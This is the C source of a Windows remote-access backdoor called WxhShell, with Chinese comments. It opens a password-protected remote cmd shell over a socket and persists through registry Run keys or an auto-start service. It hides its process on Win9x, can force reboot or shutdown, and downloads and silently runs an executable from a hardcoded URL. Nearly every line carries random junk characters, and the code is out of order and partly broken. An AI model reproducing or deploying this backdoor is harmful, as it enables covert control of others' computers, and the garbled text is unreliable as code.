    } Hqb-)8 ~  
  // 关机 MX7$f (Hy  
  case 'd': { VVc-Dx  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,PX7}//X^  
    if(Boot(SHUTDOWN)) uC?/p1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j^ttTq|l  
    else { hne}G._b  
    closesocket(wsh); ~'LoIv20j)  
    ExitThread(0); l>pnY%(A  
    } MaP-   
    break; 4TcW%  
    } p%5(Qqmlk  
  // 获取shell p+Fh9N<F9  
  case 's': { UbP$WIrq  
    CmdShell(wsh); ;e Mb$px  
    closesocket(wsh); WDh*8!)  
    ExitThread(0); DK<}q1xi  
    break; rR(\fX!dg  
  } ! ;R}=  
  // 退出 G.qjw]Llf  
  case 'x': { {%z5^o1)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7/bF0 4~%  
    CloseIt(wsh); la{o<||Aq  
    break; lht :%Ts$  
    } `91?^T;\F  
  // 离开 l(~NpT{=V  
  case 'q': { C{YTHN n  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ($[@'?Z1  
    closesocket(wsh); XZxzw*Y1J  
    WSACleanup(); Wbi12{C  
    exit(1); 7qg. :h  
    break; 6g"qwWZp  
        } 6^TWY[z2%  
  } dbfI!4  
  } Cp#}x1{  
PBAQ KQ  
  // 提示信息 'L2[^iF9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Jy0(g T  
} ?IR+OCAA  
  } LHq*E`  
t=n@<1d  
  return; '^BTa6W}m  
} {QT:1U \.  
sl*&.F,v=  
// shell模块句柄 Oma G|2u  
int CmdShell(SOCKET sock) 4x" je  
{  R'aA\k-  
STARTUPINFO si; 8-)@q|  
ZeroMemory(&si,sizeof(si)); }QJ6"s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HG)h,&nc-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8b $e)  
PROCESS_INFORMATION ProcessInfo; 1Pd2%  
char cmdline[]="cmd"; nk+9 J#Gs  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .7n`]S/  
  return 0; P,7beHjf  
} $WbfRyXi7'  
=]0AZ  
// 自身启动模式 u@kr;^m  
int StartFromService(void) l8d }g  
{ dhi9=Co;  
typedef struct <X]dR 6FT  
{ gm}zF%B"  
  DWORD ExitStatus; }?Tz=hP  
  DWORD PebBaseAddress; A )xfO-  
  DWORD AffinityMask; Uy$?B"Z  
  DWORD BasePriority; 0lpUn74F  
  ULONG UniqueProcessId; {Lvta4}7(  
  ULONG InheritedFromUniqueProcessId; D__*?frWpW  
}   PROCESS_BASIC_INFORMATION; f6%7:B d  
)IGx3+I ,  
PROCNTQSIP NtQueryInformationProcess; ^%/d]Zwb  
b+THn'2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8-q4'@(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k; vhQ=  
@BqSu|'Du,  
  HANDLE             hProcess; A@n//AZM  
  PROCESS_BASIC_INFORMATION pbi; 9w$+Qc  
M;E$ ]Z9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iuEQ?fp  
  if(NULL == hInst ) return 0; d'b q#r  
%~qY\>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &(A'uX.>pr  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'dcO-A:>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Med0O~T%  
a`zw5  
  if (!NtQueryInformationProcess) return 0; 4"Pf0PD:  
# |,c3$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); NV9H"fI  
  if(!hProcess) return 0; `MXGEJF  
<_-8)abK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; IHj9n>c)[  
r~T3Ieb  
  CloseHandle(hProcess); 41\V;yib  
1lf]}V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {_]<mwd  
if(hProcess==NULL) return 0; Y!AQ7F  
Yx<wYzD  
HMODULE hMod; m/NXifi8l  
char procName[255]; {iVmae  
unsigned long cbNeeded; xu* dPG)v  
"$|ne[b2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1'9YY")#  
4z!(!J )  
  CloseHandle(hProcess); q@Sj$  
yx/.4DW1Ua  
if(strstr(procName,"services")) return 1; // 以服务启动 2R`}}4<Z  
s%t =*+L\  
  return 0; // 注册表启动 *gN)a%9  
} NU!B|l  
O:W4W=K  
// 主模块 d# q8-  
int StartWxhshell(LPSTR lpCmdLine) &BQ%df<y\  
{ LArfX,x3i  
  SOCKET wsl; Vc| uQ8Mi  
BOOL val=TRUE; [^A>hs*  
  int port=0; p`3$NCJN  
  struct sockaddr_in door; *\F,?yU  
l*n4d[0J  
  if(wscfg.ws_autoins) Install(); *]* D^'  
:faB7wduW;  
port=atoi(lpCmdLine); -LEpT$v|  
5gY9D!;:0D  
if(port<=0) port=wscfg.ws_port; <^wqN!/  
- x]gp5  
  WSADATA data; JbEQ35r  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; is}Y+^j.  
[Xo}CU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    FK|q*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '1Q [&  
  door.sin_family = AF_INET; =bB7$#al  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 73kL>u  
  door.sin_port = htons(port); v(z2,?/4  
&Ch~$Wb^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'Mm=<Bh  
closesocket(wsl); o|7 h  
return 1; #"aL M6Cfs  
} }A'Ro/n  
BH`GUIk  
  if(listen(wsl,2) == INVALID_SOCKET) { nN!R!tJPa  
closesocket(wsl); xsSX~`  
return 1; ^_pJEX  
} ,{u'7p  
  Wxhshell(wsl); -K%~2M<  
  WSACleanup(); A0 1 D-)  
wv_<be[?*  
return 0; $+@xwuY'+  
(TFo]c  
} ex-W{k$  
9>HCt*|_8  
// 以NT服务方式启动 nW `EBs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) TGu]6NzyZ  
{ <Z8^.t)|  
DWORD   status = 0; ]*JH~.p  
  DWORD   specificError = 0xfffffff; 7.tEi}O&_g  
HVK./y qy  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :_"%o=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yaKw/vV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }?XNA.Wz  
  serviceStatus.dwWin32ExitCode     = 0; n 0CS =  
  serviceStatus.dwServiceSpecificExitCode = 0; r&c31k]E  
  serviceStatus.dwCheckPoint       = 0; Z7Xic5PI{4  
  serviceStatus.dwWaitHint       = 0; ~Y'j8W  
YR}By;Bq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L% ?3VW  
  if (hServiceStatusHandle==0) return; ##clReS  
?br4 wl  
status = GetLastError(); [u}2xsSx  
  if (status!=NO_ERROR) &%`Y>\@f  
{ /f) #CR0$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x$Tf IFy  
    serviceStatus.dwCheckPoint       = 0;  = ~^  
    serviceStatus.dwWaitHint       = 0; MJ0UZxnl  
    serviceStatus.dwWin32ExitCode     = status; (YH/#n1"{  
    serviceStatus.dwServiceSpecificExitCode = specificError; hz~jyH.h_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); g?d*cwtU  
    return; zCdzxb_h"  
  } >gLLr1L\  
f6zS_y9gn  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ig M_l=  
  serviceStatus.dwCheckPoint       = 0; F(#~.i  
  serviceStatus.dwWaitHint       = 0; AV*eGzz`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m5rJY/  
} J{bNx8.&  
#Bgq]6G2  
// 处理NT服务事件,比如:启动、停止  _F9O4Q4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .WT^L2l%  
{ kw.IVz<  
switch(fdwControl) mFXkrvOf,  
{ K7N.gT*4  
case SERVICE_CONTROL_STOP: a5xmIp@6  
  serviceStatus.dwWin32ExitCode = 0; q^k]e{PD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  @M E .  
  serviceStatus.dwCheckPoint   = 0; N_Y*Z`Xb  
  serviceStatus.dwWaitHint     = 0; /l@h[}g+d-  
  { ~^R?HS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U?d4 ^  
  } -*r]9f6 x  
  return; .a *^6TC.  
case SERVICE_CONTROL_PAUSE: j}$Up7pW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; wz(D }N5  
  break; ~M4@hG!  
case SERVICE_CONTROL_CONTINUE: uepL"%.@7|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'fkaeFzOl  
  break; ie%_-  
case SERVICE_CONTROL_INTERROGATE: lSk<euCYs  
  break; czv )D\*  
}; =YRN"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^#A[cY2eM  
} *b >hZkObn  
%"> Oy&3  
// 标准应用程序主函数 t@O4 !mFH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9M$N>[og  
{ f8'$Mn,  
$ZOKB9QccC  
// 获取操作系统版本 (66DKG   
OsIsNt=GetOsVer(); 1KtPq,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c&JYbq  
U DC>iHt  
  // 从命令行安装 mC}!;`$8p  
  if(strpbrk(lpCmdLine,"iI")) Install(); ] 336FgT  
"Nn+Zw43  
  // 下载执行文件 )QvuoaJQ  
if(wscfg.ws_downexe) { G]- wN7G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7berkU0P  
  WinExec(wscfg.ws_filenam,SW_HIDE); Y4B< ]C4  
} J|BZ{T}d  
g}]EIv{  
if(!OsIsNt) { XN=Cq*3}  
// 如果时win9x,隐藏进程并且设置为注册表启动 66+y@l1  
HideProc(); t9Nu4yl  
StartWxhshell(lpCmdLine); m*^|9*dIC  
} 4JD 8w3u/  
else GqrOj++>  
  if(StartFromService()) A|esVUo<3^  
  // 以服务方式启动 9IRvbE~2  
  StartServiceCtrlDispatcher(DispatchTable); _\tGmME37  
else #1C~i}J1  
  // 普通方式启动 9C{\=?e;  
  StartWxhshell(lpCmdLine); 3koXM_4_{)  
3oCw(Ff  
return 0; <XHS@|  
} "n3i (sZ  
;5.o;|w?!  
k<M~co;L  
aumXidb S  
=========================================== o,sw[  
T"GuE[?a  
/@H2m\vBX  
dWI.t1`i  
$.z~bmH"D  
+HK)A%QI  
" D-8>?`n\  
BI\+ NGrB  
#include <stdio.h> 5w#*JK   
#include <string.h> '%m0@5|hCD  
#include <windows.h> 7(<49bb.V  
#include <winsock2.h> =!#iC?I  
#include <winsvc.h> 0KF)+`CC>  
#include <urlmon.h> ,ZYj8^gF  
#89h}mp'  
#pragma comment (lib, "Ws2_32.lib") $nOd4{s_  
#pragma comment (lib, "urlmon.lib") B9 Dh^9?L  
x\Y%/C[Kc  
#define MAX_USER   100 // 最大客户端连接数 3PonF4  
#define BUF_SOCK   200 // sock buffer $J |oVVct  
#define KEY_BUFF   255 // 输入 buffer D k'EKT-  
e<> Lr  
#define REBOOT     0   // 重启 @J~y_J{  
#define SHUTDOWN   1   // 关机 G@) I  
)6?.; B  
#define DEF_PORT   5000 // 监听端口 5g- apod  
vl@t4\@3  
#define REG_LEN     16   // 注册表键长度 1 ]@}+H  
#define SVC_LEN     80   // NT服务名长度 9 @yP;{Q  
p 0.?R  
// 从dll定义API n(Up?_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $l&&y?()  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tH:K6^oR  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }eX_p6bBw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X*~NE\  
@Y>3-,o,S  
// wxhshell配置信息 +fhyw{  
struct WSCFG { |7Q8WjCQ{m  
  int ws_port;         // 监听端口 R0<ka[+  
  char ws_passstr[REG_LEN]; // 口令 n;"4`6L~  
  int ws_autoins;       // 安装标记, 1=yes 0=no z#!xqIg0  
  char ws_regname[REG_LEN]; // 注册表键名 7[-jr;v  
  char ws_svcname[REG_LEN]; // 服务名 QD:0iD?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 xLZQ\2q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 TKc&yAK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ED/-,>[f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tji,by#E/%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !dLz ?0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mm=Y(G[_%y  
ucj)t7O   
}; %6 <Pt  
YF{K9M!  
// default Wxhshell configuration e76@-fg  
struct WSCFG wscfg={DEF_PORT, ![5<\  
    "xuhuanlingzhe", UBRMV s  
    1, e>t9\vN#bx  
    "Wxhshell", bq4H4?j  
    "Wxhshell", 'w%N(Ntq  
            "WxhShell Service", JMOP/]%D  
    "Wrsky Windows CmdShell Service", 7/vr!tbL`p  
    "Please Input Your Password: ", ?E2k]y6<  
  1, ^BM/K&7^  
  "http://www.wrsky.com/wxhshell.exe", %:o@IRTRU  
  "Wxhshell.exe" ](0 Vm_es  
    }; x#0C+cU  
2al~`  
// 消息定义模块 >V(2Ke Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ke>\.|HT}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1TQ $(bI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Kc udWW]  
char *msg_ws_ext="\n\rExit."; 8{+~3@T  
char *msg_ws_end="\n\rQuit."; z s"AYxr  
char *msg_ws_boot="\n\rReboot..."; pOI+  
char *msg_ws_poff="\n\rShutdown..."; `Ik}Xw  
char *msg_ws_down="\n\rSave to "; 73~Mq7~8  
}WGi9\9T&  
char *msg_ws_err="\n\rErr!"; F.8{ H9`  
char *msg_ws_ok="\n\rOK!"; M{kPEl&Z  
6sy%KO*A  
char ExeFile[MAX_PATH]; F'CUkVC0~P  
int nUser = 0; >2syF{`j  
HANDLE handles[MAX_USER]; GIVs)~/Eq  
int OsIsNt; 8 (^2  
>KY\Bx  
SERVICE_STATUS       serviceStatus; >q &ouVE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *A\NjXJl~  
e+R.0E  
// 函数声明 xdo{4XY^*W  
int Install(void); ^y6Pkb P  
int Uninstall(void); E2*"~gL^,  
int DownloadFile(char *sURL, SOCKET wsh); ,.`^Wx6F  
int Boot(int flag); 6 qKIz{;  
void HideProc(void); !v;r3*#Nky  
int GetOsVer(void); UuT[UB=x5  
int Wxhshell(SOCKET wsl); w78Ius,  
void TalkWithClient(void *cs); lIjHd#q-C  
int CmdShell(SOCKET sock); Aq'%a)Y2  
int StartFromService(void); =cC]8Pz?  
int StartWxhshell(LPSTR lpCmdLine); Bh' vr3|  
eBAB7r/7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); KR^peWR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^YIOS]d>8#  
8v^i%Gg  
// 数据结构和表定义 u}%&LI`.  
SERVICE_TABLE_ENTRY DispatchTable[] = |I\A0aa  
{ ,Vs:Lle  
{wscfg.ws_svcname, NTServiceMain}, $Qy(ed  
{NULL, NULL} W=EO=}l#  
}; _TPo=}Z  
jATU b-  
// 自我安装 1M;)$m:  
int Install(void) .sG,TLE[<  
{ ONjc},_  
  char svExeFile[MAX_PATH]; O[L8(+Sn  
  HKEY key; dY-a,ch"8p  
  strcpy(svExeFile,ExeFile); >Au<y,Tw  
>A,WXzAK}S  
// 如果是win9x系统,修改注册表设为自启动 3N*Shzusbt  
if(!OsIsNt) { 2mlE;.}8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $GO'L2oLwn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^p7(  
  RegCloseKey(key); =hs@W)-O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PRz oLzr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \~)573'  
  RegCloseKey(key); GO)rpk9  
  return 0; /MU<)[*Ro  
    } RrZjC  
  } Nz}Q"6L  
} kx=AX*I  
else { 4a @iR2e  
;Z`)*TRp4  
// 如果是NT以上系统,安装为系统服务 o7T|w~F~R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1 I+5  
if (schSCManager!=0) :> q?s  
{ Y>#c2@^i<  
  SC_HANDLE schService = CreateService (KQt%]  
  ( OXacI~C  
  schSCManager, *(scSC>  
  wscfg.ws_svcname, ]Cz16e&=2  
  wscfg.ws_svcdisp, aBI]' D;  
  SERVICE_ALL_ACCESS, 8Cqs@<r4Od  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , LuqaGy}>-  
  SERVICE_AUTO_START, y^A $bTQq  
  SERVICE_ERROR_NORMAL, ;Pa(nUE@  
  svExeFile, *=7[Ip< X  
  NULL, ~ /x42|t  
  NULL, "QF083$  
  NULL, ;dFe >`~  
  NULL, VxFy[rP  
  NULL @ubz?5  
  ); \fz j fZ1n  
  if (schService!=0) 5VTbW   
  { []]3"n  
  CloseServiceHandle(schService); @ tIB'|O  
  CloseServiceHandle(schSCManager); `@e H4}L*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ( 7?%Hg  
  strcat(svExeFile,wscfg.ws_svcname); %KA/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _)l %-*Z7p  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gCJ'wv)6|%  
  RegCloseKey(key); yn#h$o<  
  return 0; A%PPG+IfA  
    } u7=[~l&L  
  } 'JMa2/7CG  
  CloseServiceHandle(schSCManager); $a A.d^  
} #~x5}8  
}  * [5  
tAA7  
return 1; HIq1/)  
} ]2(c$R  
eFio,  
// 自我卸载 4PWr;&  
int Uninstall(void) xB(:d'1|  
{ x]ti3?w  
  HKEY key; 6b/b} vl  
`g1Oon_  
if(!OsIsNt) { ]1&9~TL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~{+{pcO}  
  RegDeleteValue(key,wscfg.ws_regname); h2%:;phH  
  RegCloseKey(key); #I?iR 3u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n{t',r50  
  RegDeleteValue(key,wscfg.ws_regname); '| }}o g  
  RegCloseKey(key); _o.Z`]  
  return 0; 4iz&"~&1  
  } c Vn+~m_%  
} V)2_T!e%*  
} =b7&(x  
else {  z\tJ~  
B0i}Y-Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !_ Q!H2il  
if (schSCManager!=0) %d0S-.  
{ OQ7c| O  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); AuTplO0_rE  
  if (schService!=0) ?i~/gjp  
  { }BJ1#<  
  if(DeleteService(schService)!=0) { 5Mr;6 ]I<  
  CloseServiceHandle(schService); {_Qxe1^g  
  CloseServiceHandle(schSCManager); &%X Jf~IQ  
  return 0; 3@] a#>  
  } *?D2gaCta  
  CloseServiceHandle(schService); 3~</lAm;  
  } $/TA5h  
  CloseServiceHandle(schSCManager); ? ~Zrd  
} q=Yerp3~  
} }qv-lO  
XyphQ}\u  
return 1; C[nr>   
} ? SP7vQ/  
9Nu#&_2R  
// 从指定url下载文件 ~{YgM/c|dt  
int DownloadFile(char *sURL, SOCKET wsh) xD# I&.  
{ o'7ju~0L  
  HRESULT hr; #L.}CzAz  
char seps[]= "/"; _CJr6Evs  
char *token; %GbPrlu  
char *file; 5vi#ItN}|  
char myURL[MAX_PATH]; ;lH,bX~5  
char myFILE[MAX_PATH]; ,R}KcZG)  
"IG$VjgcB  
strcpy(myURL,sURL); wmE,k1G  
  token=strtok(myURL,seps); iT5SuIv  
  while(token!=NULL) \~t~R q  
  { '1'1T5x~  
    file=token; 9! HMQ  
  token=strtok(NULL,seps); bM^A9BxD  
  } \a2oM$PX  
GFdJFQio  
GetCurrentDirectory(MAX_PATH,myFILE); sK-|xU.  
strcat(myFILE, "\\"); kQd[E-b7  
strcat(myFILE, file); S1juAV=  
  send(wsh,myFILE,strlen(myFILE),0); k^5R f  
send(wsh,"...",3,0); ""'eTpe  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2{kfbm-89t  
  if(hr==S_OK) u7zB9iQ&  
return 0; SE )j}go  
else tc <M]4-  
return 1; \G=R hx f  
|ak C  
} (l8r>V  
&IEBZB\/+&  
// 系统电源模块 /B@% pq  
int Boot(int flag) ~wf~b zs  
{ NE2sD  
  HANDLE hToken; @b*T4hwA.  
  TOKEN_PRIVILEGES tkp; &@utAuI  
X,EYa>RSy_  
  if(OsIsNt) { a/<pf\O  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); csX*XiDWm  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vDeG20.?Z  
    tkp.PrivilegeCount = 1; sQ:VrXwP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; y7)[cvB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hf^`at  
if(flag==REBOOT) { RrU~"P1C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k\&IFSp  
  return 0; <<On*#80w  
} 0S:!Gv +  
else { |z|)r"*\4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \v3> Eo[  
  return 0; f93rY<  
} % r   
  } 7R<u=U  
  else { RQS:h]?:l  
if(flag==REBOOT) { m)|.:sj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) CDwIq>0j  
  return 0; aQ&8fteFR  
} lDPRn~[#\  
else { hW !@$Ph  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #D LT-G0  
  return 0; 2}`Vc{\  
} g1 Wtu*K3  
} yp2'KES>  
TQ\wHJ  
return 1; y)^CDe2xU  
} />^`*e_  
-=[o{r`  
// win9x进程隐藏模块 6 ,pZRc  
void HideProc(void) N<Z)b!o%u  
{ 7{+Io  
_ U8OIXN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9Ajgfy>  
  if ( hKernel != NULL ) $Y 4ch ko  
  { gc2|V6(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0]eh>ab>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !OoaE* s  
    FreeLibrary(hKernel); me[J\MJ;w^  
  } ?V5Pt s  
vi!r8k  
return; w] 5U  
} 8~s-t  
=O3I[  
// 获取操作系统版本 MY?O/,6  
int GetOsVer(void) i5E:FS^!I  
{ }Cmj(k`~  
  OSVERSIONINFO winfo; |+;KhC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'tV"^KQHI  
  GetVersionEx(&winfo); d JQ }{,+6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mWN1Q<vn,l  
  return 1; +NLQYuN  
  else ^{fi^lL=  
  return 0; 4-d99|mv  
} zN)|g  
dW{o+9nw  
// 客户端句柄模块 76IALJ00V  
int Wxhshell(SOCKET wsl) yNqm]H3<MP  
{ DNm7z[ t{  
  SOCKET wsh; X$uz=)  
  struct sockaddr_in client; )kL` &+#>  
  DWORD myID; Bgk~R.l  
#zSi/r/=1  
  while(nUser<MAX_USER) *3F /Ft5  
{ x<{;1F,k3  
  int nSize=sizeof(client); &w;^m/zP3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); > G4HZE  
  if(wsh==INVALID_SOCKET) return 1; 5}X<(q(  
anz9lGG#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N.5KPAvg%  
if(handles[nUser]==0) V 4\^TO`q=  
  closesocket(wsh); 1%/ NL?8#  
else hk"9D<&i>b  
  nUser++; a_ 9|xI  
  } 6_9:Eb=^v!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6cQeL$,SQ  
+;:aG6q+  
  return 0; G%j/eTTf  
} \~z?PA.$  
\'It,PN  
// 关闭 socket =2;mxJ#o  
void CloseIt(SOCKET wsh) '.%iPMM  
{ W>q*.9}Y"  
closesocket(wsh); Jv 6nlK`  
nUser--; ~ F?G5cN5  
ExitThread(0); t-eKruj+  
} _#J_$CE#  
cYq']$]  
// 客户端请求句柄 vR%j#v|s  
void TalkWithClient(void *cs) 1IOo?e=/bM  
{ _gPVmGG  
8u:v:>D.'  
  SOCKET wsh=(SOCKET)cs; n!kk~65|  
  char pwd[SVC_LEN]; PuCwdTan_  
  char cmd[KEY_BUFF]; Y-Ziyy  
char chr[1]; )tN?: l  
int i,j; qEK4I}Q-=  
KlVi4.]  
  while (nUser < MAX_USER) { >YJ8u{Z{o  
]/ZA/:Oa+  
if(wscfg.ws_passstr) {  Vp(D|}P  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G!!-+n<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #RR:3ZP ZC  
  //ZeroMemory(pwd,KEY_BUFF); HsjELbH  
      i=0; p@cfY]<7  
  while(i<SVC_LEN) { 5eiZs  
q9>Ls-k  
  // 设置超时 b!4N)t>gl  
  fd_set FdRead; 2d5}`>  
  struct timeval TimeOut; #sz]PZ\  
  FD_ZERO(&FdRead); 2A*X Hvwb  
  FD_SET(wsh,&FdRead); )Y&MIJ7>@  
  TimeOut.tv_sec=8; ]^yV`Z8  
  TimeOut.tv_usec=0; GZ/pz+)i&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?Kx6Sf<i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  95.qAFB1  
c W81  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R/ ALR  
  pwd=chr[0]; z9k*1:  
  if(chr[0]==0xd || chr[0]==0xa) { b"ol\&1 #  
  pwd=0; r,`Z.A  
  break; ShL1'Z} ^{  
  } X[GIOPDx  
  i++; VZT6;1TD$8  
    } 1&X}1  
ysSjc  
  // 如果是非法用户,关闭 socket 38V $<w  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^3Z7dIUww  
} $ 7U Dz  
UC8vR>e\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Whv]88w{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HpB!a,R6B  
7>nhIp))  
while(1) { +8LM~voB  
,~?A,9?%:  
  ZeroMemory(cmd,KEY_BUFF); J- t=1  
M(n<Iu4^_  
      // 自动支持客户端 telnet标准   fnVW/23  
  j=0; $l#v/(uFa  
  while(j<KEY_BUFF) { ( GFgt_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +G*"jI8W  
  cmd[j]=chr[0]; V+qFT3?-  
  if(chr[0]==0xa || chr[0]==0xd) { d u.HSXK  
  cmd[j]=0; Zw;$(="  
  break; O{lIs_1.Z  
  } 8yHq7=  
  j++; qiG]nCq  
    } mV6#!_"  
a(PjcQ4dY  
  // 下载文件 eP V-yy  
  if(strstr(cmd,"http://")) { G*kE~s9R  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 07.nq;/R  
  if(DownloadFile(cmd,wsh)) 3c01uObTL  
